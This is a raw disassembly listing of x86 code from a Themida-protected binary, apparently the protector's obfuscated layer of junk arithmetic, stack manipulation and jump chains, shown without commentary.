loc_567097:				; CODE XREF: sub_571205+8j
		pop	ebx
		or	eax, 18B56EDEh
		jmp	loc_55E418
; ---------------------------------------------------------------------------


loc_5670A2:				; CODE XREF: sub_55EDA7+997Fj
		mov	[esp+0], ebx
		push	ebp
		mov	ebp, 679075DCh
		xor	ebp, 94C7ABFh
		and	ebp, 7BAD5FC6h
		push	eax
		mov	eax, 0FD30B0Ch
		jmp	loc_57155A
; ---------------------------------------------------------------------------


loc_5670C2:				; CODE XREF: sub_55EDA7+F11Fj
		push	esi
		mov	esi, 12790F5Eh
		add	esi, 68971607h
		sub	esi, 1
		sub	esi, 5096CCB8h
		mov	eax, esi
		jmp	loc_569A5D
; ---------------------------------------------------------------------------


loc_5670DE:				; CODE XREF: sub_55EDA7+BC25j
		pop	ebx
		jmp	loc_55EBEE
; ---------------------------------------------------------------------------


loc_5670E4:				; CODE XREF: sub_55EDA7+A9BAj
		push	esp
		mov	ebp, [esp+5Ch+var_5C]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 369C3DB0h
		inc	ecx
		shr	ecx, 2
		inc	ecx
		push	edi
		mov	edi, 32B172B4h
		jmp	loc_56E2D5
; ---------------------------------------------------------------------------


loc_567101:				; CODE XREF: sub_55EDA7+619Fj
		sub	edx, 0B037160Bh
		jmp	loc_5674FC
; ---------------------------------------------------------------------------


loc_56710C:				; CODE XREF: sub_55EDA7+E6A3j
		pop	ebx
		push	ebp
		jmp	loc_55F558
; ---------------------------------------------------------------------------


loc_567113:				; CODE XREF: sub_55EDA7+50F4j
		push	ebp
		jmp	loc_56ABAE
; ---------------------------------------------------------------------------


loc_567119:				; CODE XREF: sub_55EDA7+38A0j
		mov	ebp, esp
		push	ebx
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], edi
		push	179F1BB9h
		mov	edi, [esp-0Ah+arg_4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FC57
; ---------------------------------------------------------------------------


loc_567138:				; CODE XREF: sub_55EDA7+3AB5j
		mov	ebp, esi
		pop	esi
		push	ecx
		push	edx
		push	eax
		mov	eax, 0F3E32ACh
		xor	eax, 726C6664h
		mov	edx, eax
		pop	eax
		mov	ecx, edx
		jmp	loc_56C8D8
; ---------------------------------------------------------------------------


loc_567152:				; CODE XREF: sub_55EDA7+C4C6j
		sub	ebp, 55F2198Fh
		jmp	loc_56DECB
; ---------------------------------------------------------------------------


loc_56715D:				; CODE XREF: sub_55EDA7-5F6j
		xchg	esi, [esp-28h+arg_24]
		mov	esp, [esp-28h+arg_24]
		mov	[esp-28h+arg_24], esp
		add	[esp-28h+arg_24], 4
		push	[esp-28h+arg_24]
		pop	edi
		push	ebx
		jmp	loc_56B4C3
; ---------------------------------------------------------------------------


loc_567177:				; CODE XREF: sub_55EDA7+B8Bj
		neg	eax
		not	eax
		add	eax, 0C7ED3922h
		add	ebp, eax
		pop	eax
		dec	ebp
		add	ebp, 4E415222h
		jmp	loc_5681CB
; ---------------------------------------------------------------------------


loc_56718F:				; CODE XREF: sub_55EDA7+13EAj
		pop	eax
		jmp	loc_568376
; ---------------------------------------------------------------------------


loc_567195:				; CODE XREF: sub_55EDA7+13CFDj
		add	edx, ebp
		push	54BFh
		jmp	loc_569380
; ---------------------------------------------------------------------------


loc_5671A1:				; CODE XREF: sub_55EDA7+450Fj
		push	eax
		pushf
		jmp	loc_567E40
; ---------------------------------------------------------------------------


loc_5671A8:				; CODE XREF: sub_55EDA7+6450j
		push	[esp-18h+arg_14]
		pop	edx
		sub	esp, 4
		mov	[esp-14h+arg_10], ebx
		push	esp
		jmp	loc_562F5A
; ---------------------------------------------------------------------------


loc_5671B8:				; CODE XREF: sub_55EDA7+C4D7j
		xor	[esp-10h+arg_C], ebx
		jmp	loc_56B18E
; ---------------------------------------------------------------------------


loc_5671C0:				; CODE XREF: sub_55EDA7+7C73j
		add	dl, 0F3h
		sub	ah, 0E0h
		sub	ah, dl
		add	ah, 0E0h
		pop	edx
		add	ah, 64h
		push	bx
		mov	bh, 0C9h
		or	ah, bh
		pop	bx
		jmp	loc_568154
; ---------------------------------------------------------------------------


loc_5671DC:				; DATA XREF: Themida_:0055DF4Co
		neg	byte ptr [esp-4+arg_0]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5671E5:				; CODE XREF: sub_55EDA7+467Fj
		sub	eax, 2B6F258Eh
		add	eax, 3146A36Ah
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		sub	ebx, 4
		push	ebx
		jmp	loc_561542
; ---------------------------------------------------------------------------


loc_567202:				; CODE XREF: sub_55EDA7-903j
		add	esp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_560852
; ---------------------------------------------------------------------------


loc_56720E:				; CODE XREF: sub_55EDA7+E3A7j
		mov	esi, edx
		jmp	loc_566858
; ---------------------------------------------------------------------------


loc_567215:				; CODE XREF: sub_55EDA7+5E9Dj
		mov	esp, [esp-0Ch+arg_8]
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567220:				; CODE XREF: sub_55EDA7+A58j
		sub	edi, 69B8140Ah
		sub	edi, ebp
		add	edi, 69B8140Ah
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		add	eax, edi
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_571698
; ---------------------------------------------------------------------------


loc_567248:				; CODE XREF: Themida_:0056DBC7j
		xor	[esp-10h+arg_C], eax
		jmp	loc_56295F
; ---------------------------------------------------------------------------


loc_567250:				; CODE XREF: sub_55EDA7+8067j
		mov	edi, esp
		jmp	loc_564EE6
; ---------------------------------------------------------------------------


loc_567257:				; CODE XREF: sub_55EDA7+9C55j
		push	edx
		mov	edx, 186C393Ah
		push	edi
		mov	edi, 1
		add	edx, edi
		jmp	loc_56E584
; ---------------------------------------------------------------------------


loc_56726A:				; CODE XREF: sub_55EDA7+DF28j
		sub	eax, edi
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		jmp	loc_572410
; ---------------------------------------------------------------------------


loc_56727A:				; DATA XREF: Themida_:0055DFDCo
		lodsb
		add	al, 33h
		sub	al, bl
		push	ecx
		mov	ecx, esp
		push	41AFh
		jmp	loc_565B35
; ---------------------------------------------------------------------------


loc_56728C:				; CODE XREF: sub_55EDA7+3F05j
		add	edi, eax
		mov	eax, [esp+0Eh+var_E]
		add	esp, 4
		push	ecx
		jmp	loc_563B02
; ---------------------------------------------------------------------------


loc_56729D:				; CODE XREF: sub_55EDA7+A12j
		push	53B67F14h
		pop	ebx
		not	ebx
		shr	ebx, 4
		xor	ebx, 530AA8D2h
		mov	ebp, ebx
		pop	ebx
		dec	ebp
		and	ebp, 126907E1h
		jmp	loc_56D37E
; ---------------------------------------------------------------------------


loc_5672BD:				; CODE XREF: sub_55EDA7+7F72j
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5672C5:				; CODE XREF: sub_55EDA7+13C7Cj
		add	al, 0F5h
		add	al, dh
		jmp	loc_5639B9
; ---------------------------------------------------------------------------


loc_5672CE:				; CODE XREF: sub_55EDA7+4304j
		pop	esi
		jmp	loc_5634FE
; ---------------------------------------------------------------------------


loc_5672D4:				; CODE XREF: sub_55EDA7+3A5Dj
		pop	ebp
		add	ebp, 4
		jmp	loc_5704F4
; ---------------------------------------------------------------------------


loc_5672E0:				; CODE XREF: sub_55EDA7+FFDBj
		pop	edx
		jmp	loc_56D4CA
; ---------------------------------------------------------------------------


loc_5672E6:				; CODE XREF: sub_55EDA7+D825j
		sub	ecx, esi
		pop	esi
		jmp	loc_5629E7
; ---------------------------------------------------------------------------


loc_5672EE:				; CODE XREF: sub_55EDA7+C86Ej
		push	4BC0h
		mov	[esp-0Ch+arg_8], edi
		jmp	loc_56A089
; ---------------------------------------------------------------------------


loc_5672FB:				; CODE XREF: sub_55EDA7+14Aj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567300:				; CODE XREF: sub_55EDA7+E1BFj
		sub	esi, 6FF5FDF8h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+0Ch+var_E+2]
		pop	esp
		add	ecx, 3F02884h
		add	ecx, ebx
		sub	ecx, 3F02884h
		mov	ebx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55FC21
; ---------------------------------------------------------------------------


loc_567337:				; CODE XREF: sub_55EDA7+E9Aj
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5694E2
; ---------------------------------------------------------------------------


loc_567347:				; CODE XREF: sub_55EDA7+118B5j
		mov	esp, [esp+0Ch+var_E+2]
		sub	esp, 4
		mov	[esp+10h+var_12+2], eax
		neg	[esp+10h+var_12+2]
		pop	eax
		sub	eax, 3D517E22h
		push	eax
		sub	[esp+10h+var_12+2], 3D61344Fh
		pop	ebx
		add	ebx, 3D61344Fh
		pop	eax
		push	986D9E32h
		mov	ebp, [esp+0Ch+var_E+2]
		add	esp, 4
		add	ebp, ebx
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	ebx
		mov	ebx, 24h
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_56C5F1
; ---------------------------------------------------------------------------


loc_5673A6:				; CODE XREF: sub_55EDA7+8E20j
		pop	edi
		jmp	loc_571CAD
; ---------------------------------------------------------------------------


loc_5673AC:				; CODE XREF: sub_55EDA7+A736j
		mov	word ptr [esp+4+var_4],	dx
		push	eax
		jmp	loc_56B114
; ---------------------------------------------------------------------------


loc_5673B6:				; CODE XREF: sub_55EDA7+5A07j
		pop	ebp
		jmp	loc_56C27F
; ---------------------------------------------------------------------------


loc_5673BC:				; CODE XREF: sub_55EDA7+22EDj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5684E9
; ---------------------------------------------------------------------------


loc_5673CD:				; CODE XREF: sub_55EDA7+ED5Fj
		mov	bh, 85h
		shl	bh, 6
		and	bh, 0B4h
		sub	bh, 5Bh
		jmp	loc_5635E8
; ---------------------------------------------------------------------------


loc_5673DD:				; CODE XREF: sub_55EDA7+FD65j
		xor	ebx, 742024ECh
		pop	esi
		mov	ebp, ebx
		jmp	loc_55F1C6
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-20h+arg_1C]
		push	65BCh
		mov	[esp-1Ch+arg_18], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp-18h+arg_14], esi
		mov	esi, 6FA24AAFh
		jmp	loc_562CF7
; ---------------------------------------------------------------------------


loc_56740F:				; CODE XREF: sub_55EDA7+7DBBj
		neg	edx
		jmp	loc_561B46
; ---------------------------------------------------------------------------


loc_567416:				; CODE XREF: sub_55EDA7+46C0j
		mov	bh, cl
		pop	ecx
		mov	ch, 0FFh
		jmp	loc_569B06
; ---------------------------------------------------------------------------


loc_567420:				; CODE XREF: sub_572364+1j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp-14h+arg_10]
		jmp	loc_55E44E
; ---------------------------------------------------------------------------


loc_56742F:				; CODE XREF: sub_55EDA7+11BF8j
		mov	edx, 67EF36D9h
		mov	eax, edx
		jmp	loc_56F5C0
; ---------------------------------------------------------------------------


loc_56743B:				; CODE XREF: sub_55EDA7+6F93j
		shl	ebp, 3
		inc	ebp
		dec	ebp
		jmp	loc_56A6E2
; ---------------------------------------------------------------------------


loc_567445:				; CODE XREF: sub_55EDA7+13AD2j
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		sub	esp, 4
		mov	[esp+26h+var_26], esi
		push	[esp+26h+var_22]
		mov	esi, [esp+2Ah+var_2A]
		add	esp, 4
		jmp	loc_562939
; ---------------------------------------------------------------------------


loc_567475:				; CODE XREF: sub_55EDA7+2650j
		mov	esp, [esp+0Ch+var_E+2]
		or	eax, eax
		jnz	loc_563100
		push	ecx
		push	44F9h
		mov	[esp+14h+var_16+2], ebx
		mov	ebx, 5E441DC6h
		jmp	loc_5691D5
; ---------------------------------------------------------------------------


loc_567493:				; CODE XREF: sub_55EDA7+13C1j
		mov	ecx, edi
		pop	edi
		sub	eax, 3F4D0DEAh
		add	eax, ecx
		add	eax, 3F4D0DEAh
		push	[esp-20h+arg_1C]
		pop	ecx
		add	esp, 4
		mov	esi, eax
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		add	eax, esi
		pop	esi
		push	edi
		push	ebx
		mov	ebx, 42002AD2h
		mov	edi, ebx
		pop	ebx
		sub	edi, 3C7172F1h
		push	esi
		mov	esi, 1D464043h
		dec	esi
		inc	esi
		jmp	loc_56B827
; ---------------------------------------------------------------------------


loc_5674D4:				; CODE XREF: sub_55EDA7+15FDj
		sub	ebp, 4
		xchg	ebp, [esp-14h+arg_10]
		pop	esp
		mov	[esp-18h+arg_14], ebp
		push	esi
		push	1BA15FD9h
		pop	esi
		sub	esi, 4AEC27B9h
		shl	esi, 7
		sub	esi, 7C190F63h
		jmp	loc_566C99
; ---------------------------------------------------------------------------


loc_5674FC:				; CODE XREF: sub_55EDA7+8360j
		or	ecx, edx
		pop	edx
		jmp	loc_55EA6A
; ---------------------------------------------------------------------------


loc_567504:				; CODE XREF: sub_55EDA7+F716j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-20h+arg_1C]
		mov	esp, [esp-20h+arg_1C]
		mov	esi, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_56F872
; ---------------------------------------------------------------------------


loc_567522:				; CODE XREF: sub_55EDA7+C368j
		and	eax, esi
		mov	esi, [esp-24h+arg_20]
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		push	5103h
		mov	[esp-24h+arg_20], edi
		jmp	loc_56A105
; ---------------------------------------------------------------------------


loc_56753C:				; CODE XREF: sub_55EDA7+4FFEj
		xchg	eax, [esp+16h+var_16]
		pop	esp
		push	ecx
		jmp	loc_568AE9
; ---------------------------------------------------------------------------


loc_567546:				; CODE XREF: sub_55EDA7+2AD4j
		pop	ecx
		add	ecx, 4
		push	ebp
		push	edi
		mov	edi, 18E54891h
		jmp	loc_56004F
; ---------------------------------------------------------------------------


loc_567559:				; CODE XREF: sub_55EDA7+57F3j
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_56135A
; ---------------------------------------------------------------------------


loc_567567:				; CODE XREF: sub_55EDA7+106CDj
		mov	[esp-4+arg_0], ebp
		push	ebx
		jmp	loc_572559
; ---------------------------------------------------------------------------


loc_567570:				; DATA XREF: Themida_:0055DFC8o
		push	ebx
		push	6335h
		mov	[esp+8+var_8], edi
		push	75330C0Fh
		pop	edi
		push	edi
		not	[esp+0Ch+var_E+2]
		pop	edi
		add	edi, 0C3C613EBh
		jmp	loc_56F390
; ---------------------------------------------------------------------------


loc_56758F:				; CODE XREF: sub_55EDA7+F145j
		push	edx
		mov	dl, 0F7h
		and	dl, 20h
		shl	dl, 2
		jmp	loc_55E66E
; ---------------------------------------------------------------------------


loc_56759D:				; CODE XREF: sub_55EDA7+4611j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-10h+arg_C]
		jmp	loc_5602AA
; ---------------------------------------------------------------------------


loc_5675AE:				; CODE XREF: sub_55EDA7+11F40j
		add	ecx, 4
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		push	ecx
		mov	ecx, 0D621024h
		not	ecx
		shl	ecx, 7
		sub	ecx, 0FCA0E7F1h
		jmp	loc_572681
; ---------------------------------------------------------------------------


loc_5675CE:				; CODE XREF: sub_55EDA7+CA96j
		pop	ecx
		sub	esp, 4
		mov	[esp-10h+arg_C], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_567A57
; ---------------------------------------------------------------------------


loc_5675E5:				; CODE XREF: sub_55EDA7+D2EFj
		push	eax
		mov	al, bh
		mov	dh, al
		pop	eax
		jmp	loc_56B202
; ---------------------------------------------------------------------------


loc_5675F0:				; CODE XREF: sub_55EDA7+138BEj
		mov	[esp-0Ch+arg_8], edx
		jmp	loc_56C90D
; ---------------------------------------------------------------------------


loc_5675F8:				; CODE XREF: sub_55EDA7+2410j
		push	[esp+34h+var_36+2]
		pop	ecx
		add	esp, 4
		pop	esi
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_56002C
; ---------------------------------------------------------------------------


loc_56761E:				; CODE XREF: sub_55EDA7+3C1Dj
		sub	bl, 96h
		sub	esp, 4
		mov	[esp+0Eh+var_E], eax
		mov	al, 4Dh
		sub	esp, 4
		mov	[esp+12h+var_12], edx
		jmp	loc_56B1B8
; ---------------------------------------------------------------------------


loc_56763A:				; CODE XREF: sub_55EDA7+A823j
		push	ebp
		mov	ebp, 121A2E59h
		sub	[esp+16h+var_12], ebp
		push	[esp+16h+var_16]
		pop	ebp
		sub	esp, 4
		jmp	loc_56E7F6
; ---------------------------------------------------------------------------


loc_567653:				; CODE XREF: sub_55EDA7+2ECDj
		add	esp, 4
		jmp	loc_56811B
; ---------------------------------------------------------------------------


loc_56765B:				; CODE XREF: sub_55EDA7+105E4j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567660:				; CODE XREF: sub_55EDA7+11B9j
		sub	dh, 46h
		sub	dh, 0FFh
		not	dh
		add	dh, 9
		mov	bl, dh
		pop	edx
		sub	bl, ch
		push	[esp-8+arg_4]
		pop	ecx
		add	esp, 4
		push	ecx
		mov	ch, 59h
		add	ch, 43h
		and	ch, 6Eh
		sub	ch, 0FFh
		sub	ch, 89h
		add	al, ch
		pop	ecx
		sub	al, 0F2h
		sub	al, bl
		jmp	loc_565C77
; ---------------------------------------------------------------------------


loc_567692:				; CODE XREF: sub_55EDA7+1F82j
		mov	edi, 505A111Dh
		shl	edi, 7
		add	edi, 0D2F77184h
		mov	ebp, edi
		jmp	loc_5629B6
; ---------------------------------------------------------------------------


loc_5676A7:				; CODE XREF: sub_55EDA7+13BCBj
		inc	dl
		sub	dl, 0B2h
		xor	dl, 0F8h
		jmp	loc_566069
; ---------------------------------------------------------------------------


loc_5676B4:				; CODE XREF: sub_55EDA7+F0B5j
		push	eax
		mov	eax, 766B1F40h
		jmp	loc_572394
; ---------------------------------------------------------------------------


loc_5676BF:				; CODE XREF: sub_55EDA7+C759j
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		not	edx
		jmp	loc_56B981
; ---------------------------------------------------------------------------


loc_5676CC:				; CODE XREF: sub_55EDA7+7226j
		push	edi
		mov	edi, 0A75D82A1h
		xor	ebp, edi
		pop	edi
		sub	edi, ebp
		jmp	loc_567DF9
; ---------------------------------------------------------------------------


loc_5676DC:				; CODE XREF: sub_55EDA7+FA2Aj
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		shr	esi, 5
		push	eax
		mov	eax, 8EC29B1h
		neg	eax
		push	ebp
		jmp	loc_56DE8B
; ---------------------------------------------------------------------------


loc_5676F6:				; CODE XREF: sub_55EDA7+6DA1j
		add	esi, 1
		push	eax
		jmp	loc_570FA2
; ---------------------------------------------------------------------------


loc_5676FF:				; CODE XREF: sub_55EDA7+BC79j
		mov	eax, 839CEBC2h
		sub	eax, edi
		pop	edi
		add	ecx, 612B1D9Bh
		sub	ecx, eax
		sub	ecx, 612B1D9Bh
		push	[esp+2Ah+var_2A]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_56EAF5
; ---------------------------------------------------------------------------


loc_567722:				; CODE XREF: sub_55EDA7+1170j
		sub	esi, 2BC15BFh
		jmp	loc_5621DE
; ---------------------------------------------------------------------------


loc_56772D:				; CODE XREF: sub_55EDA7+7B65j
		mov	[esp-4+arg_0], edi
		mov	edi, 51FF159Bh
		sub	esp, 4
		mov	[esp+0], esi
		push	5CB75658h
		pop	esi
		sub	esi, 3E310A8Ah
		push	ecx
		mov	ecx, 57B74EA9h
		or	ecx, 42113F9Bh
		push	esi
		mov	esi, 58BE4973h
		add	esi, 0A855F5B4h
		add	ecx, esi
		pop	esi
		jmp	loc_564725
; ---------------------------------------------------------------------------


loc_567767:				; CODE XREF: sub_55EDA7+A399j
		mov	ebx, esi
		mov	eax, ebx
		pop	ebx
		pop	esi
		push	ebx
		mov	ebx, 481B0ADAh
		xor	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	edx, eax
		push	[esp-4+arg_0]
		jmp	loc_566D18
; ---------------------------------------------------------------------------


loc_567788:				; CODE XREF: sub_55EDA7+5BDEj
		pop	ebx
		pop	[esp+38h+var_3A+2]
		pop	esp
		push	ebx
		mov	ebx, 75D7070Ch
		push	edi
		push	ebp
		push	62567278h
		mov	ebp, [esp+40h+var_42+2]
		add	esp, 4
		jmp	loc_56F44E
; ---------------------------------------------------------------------------


loc_5677A8:				; CODE XREF: sub_55EDA7+71C9j
		add	eax, ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_563867
; ---------------------------------------------------------------------------


loc_5677B9:				; CODE XREF: sub_55EDA7+E63Cj
		add	ecx, 119D2933h
		jmp	loc_565F75
; ---------------------------------------------------------------------------


loc_5677C4:				; CODE XREF: sub_55EDA7+1A50j
		shl	ebp, 7
		jmp	loc_56BDE8
; ---------------------------------------------------------------------------


loc_5677CC:				; CODE XREF: sub_55EDA7+41B6j
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, 51AA4EC6h
		and	ecx, 5E26331Ch
		shr	ecx, 5
		shr	ecx, 2
		and	ecx, 45C15BCFh
		jmp	loc_56AE71
; ---------------------------------------------------------------------------


loc_5677ED:				; CODE XREF: sub_55EDA7+8E50j
		mov	edx, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, ebx
		mov	edx, ecx
		pop	ecx
		push	[esp-4+arg_0]
		pop	ebx
		push	ecx
		jmp	loc_56DB55
; ---------------------------------------------------------------------------


loc_567806:				; CODE XREF: sub_55EDA7+73E4j
		pop	edx
		push	edi
		mov	edi, 4
		push	eax
		push	3D4927B6h
		pop	eax
		inc	eax
		push	ebx
		mov	ebx, 2DAE64AFh
		add	eax, ebx
		pop	ebx
		xor	eax, 6ACE239Eh
		or	eax, 290A4B7Ah
		push	ebx
		mov	ebx, 225A63h
		or	eax, ebx
		pop	ebx
		push	edx
		jmp	loc_56D32D
; ---------------------------------------------------------------------------


loc_567837:				; CODE XREF: sub_55EDA7+4AB1j
		pop	ebp
		add	ebp, 7FDA8001h
		jmp	loc_5666E7
; ---------------------------------------------------------------------------


loc_567843:				; CODE XREF: sub_55EDA7+34BBj
		mov	esp, [esp+0Ch+var_E+2]
		push	[esp+0Ch+var_E+2]
		push	[esp+10h+var_12+2]
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_568278
; ---------------------------------------------------------------------------


loc_567857:				; CODE XREF: sub_55EDA7+12AAj
		xor	edi, 0C72A44Ch
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_56E03E
; ---------------------------------------------------------------------------


loc_567869:				; CODE XREF: sub_55EDA7+57DEj
		sub	esp, 4
		mov	[esp+6+var_8+2], ebp
		push	ebx
		jmp	loc_5680DF
; ---------------------------------------------------------------------------


loc_567878:				; CODE XREF: sub_570CF9+26j
		mov	eax, 235755DFh
		sub	eax, 55B93C89h
		push	3C90h
		mov	[esp+0Eh+var_E], ebx
		mov	ebx, 7BFC1F51h
		jmp	loc_56CB51
; ---------------------------------------------------------------------------


loc_567894:				; CODE XREF: sub_55EDA7+8056j
		push	ecx
		push	[esp+6+var_4+2]
		pop	ecx
		pop	[esp+6+var_8+2]
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56BA2D
; ---------------------------------------------------------------------------


loc_5678AC:				; CODE XREF: sub_55EDA7+41AEj
		add	[esp-4+arg_4], 7E01265Fh
		add	[esp-4+arg_4], eax
		push	edi
		push	eax
		mov	eax, 7E01265Fh
		jmp	loc_563B86
; ---------------------------------------------------------------------------


loc_5678C4:				; CODE XREF: sub_55EDA7-B0Aj
		add	ebp, ebx
		add	ebp, 202A1410h
		mov	ebx, [esp+0Ch+var_E+2]
		add	esp, 4
		push	edx
		jmp	loc_56E728
; ---------------------------------------------------------------------------


loc_5678DB:				; CODE XREF: sub_55EDA7+1FB6j
		mov	word ptr [esp-10h+arg_C], ax
		jmp	loc_5723CC
; ---------------------------------------------------------------------------


loc_5678E4:				; CODE XREF: sub_55EDA7+11145j
		add	cl, 6Dh
		shr	cl, 1
		shr	cl, 8
		shr	cl, 4
		xor	cl, 30h
		add	dl, cl
		pop	ecx
		sub	dl, 0Eh
		add	bl, dl
		mov	edx, [esp-14h+arg_10]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_571A8B
; ---------------------------------------------------------------------------


loc_56790B:				; CODE XREF: sub_55EDA7+1071Fj
		mov	al, 0B2h
		sub	al, 1Fh
		add	ch, al
		pop	eax
		push	eax
		jmp	loc_570855
; ---------------------------------------------------------------------------


loc_567918:				; CODE XREF: sub_55EDA7+A9Bj
		add	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 7FB408Bh
		push	ecx
		jmp	loc_569250
; ---------------------------------------------------------------------------


loc_567927:				; CODE XREF: sub_55EDA7+1221Dj
		push	edi
		push	4
		jmp	loc_56E13B
; ---------------------------------------------------------------------------


loc_567932:				; CODE XREF: sub_55EDA7+4F57j
		inc	eax
		xor	eax, 14194F7Bh
		and	edx, eax
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		shl	edx, 6
		sub	edx, 0FFFFFFFFh
		push	edx
		not	[esp-24h+arg_20]
		mov	edx, [esp-24h+arg_20]
		add	esp, 4
		sub	edx, 42F15B98h
		jmp	loc_56EECF
; ---------------------------------------------------------------------------


loc_567961:				; CODE XREF: sub_55EDA7+BDE2j
		xchg	ebp, [esp-28h+arg_24]
		mov	esp, [esp-28h+arg_24]
		jmp	loc_56F387
; ---------------------------------------------------------------------------


loc_56796C:				; CODE XREF: sub_55EDA7+2AC8j
		mov	dx, word ptr [esp+14h+var_16+2]
		jmp	loc_56994F
; ---------------------------------------------------------------------------


loc_567975:				; CODE XREF: sub_55EDA7+1088j
		add	ecx, 51F93813h
		push	2226h
		mov	[esp-0Eh+arg_8+2], ecx
		sub	[esp-0Eh+arg_8+2], 10656B3h
		mov	edx, [esp-0Eh+arg_8+2]
		add	esp, 4
		add	edx, 10656B3h
		pop	ecx
		mov	edi, [esp-16h+arg_10+2]
		add	esp, 4
		jmp	loc_56815E
; ---------------------------------------------------------------------------


loc_5679A5:				; CODE XREF: sub_55EDA7+96CDj
		sub	ecx, 54715139h
		jmp	loc_560F6E
; ---------------------------------------------------------------------------


loc_5679B0:				; CODE XREF: sub_55EDA7+117EBj
		add	[esp-1Ah+arg_14+2], 4
		pop	ebx
		jmp	loc_564E36
; ---------------------------------------------------------------------------


loc_5679BD:				; CODE XREF: sub_55EDA7+133EEj
		add	ebx, 4BA811F3h
		mov	eax, [esp-1Eh+arg_18+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp-1Ah+arg_14+2]
		xor	[esp-1Ah+arg_14+2], esi
		xor	esi, [esp-1Ah+arg_14+2]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp-1Eh+arg_18+2]
		add	esp, 4
		or	eax, eax
		jz	loc_567D0C
		push	dword ptr [edi+1Ch]
		push	4772h
		jmp	loc_569D26
; ---------------------------------------------------------------------------


loc_5679F9:				; CODE XREF: sub_55EDA7+7F04j
		add	ebx, esi
		jmp	loc_56FC40
; ---------------------------------------------------------------------------


loc_567A00:				; CODE XREF: sub_55EDA7+3411j
		push	esp
		mov	edx, [esp-24h+arg_20]
		add	esp, 4
		push	esi
		push	ebx
		push	5D5350EBh
		jmp	loc_570132
; ---------------------------------------------------------------------------


loc_567A16:				; CODE XREF: sub_55EDA7+1962j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_56E3F6
; ---------------------------------------------------------------------------


loc_567A23:				; CODE XREF: sub_55EDA7+111E6j
		push	edi
		mov	di, 3B20h
		sub	di, 0D8A8h
		jmp	loc_56B653
; ---------------------------------------------------------------------------


loc_567A32:				; CODE XREF: sub_55EDA7+7DD5j
		bswap	eax
		jmp	loc_570837
; ---------------------------------------------------------------------------


loc_567A39:				; CODE XREF: sub_55EDA7+536Ej
		pop	ebx
		push	[esp-20h+arg_1C]
		pop	ecx
		add	esp, 4
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_567A46:				; CODE XREF: sub_55EDA7+1172Ej
		pop	ebx
		jmp	loc_57026D
; ---------------------------------------------------------------------------


loc_567A4C:				; CODE XREF: sub_55EDA7+C53j
		xor	[esp+34h+var_36+2], edx
		xor	edx, [esp+34h+var_36+2]
		jmp	loc_55E831
; ---------------------------------------------------------------------------


loc_567A57:				; CODE XREF: sub_55EDA7+8839j
		add	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_56D857
; ---------------------------------------------------------------------------


loc_567A65:				; CODE XREF: sub_55EDA7+337Bj
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		mov	ebx, 71705869h
		inc	ebx
		shr	ebx, 4
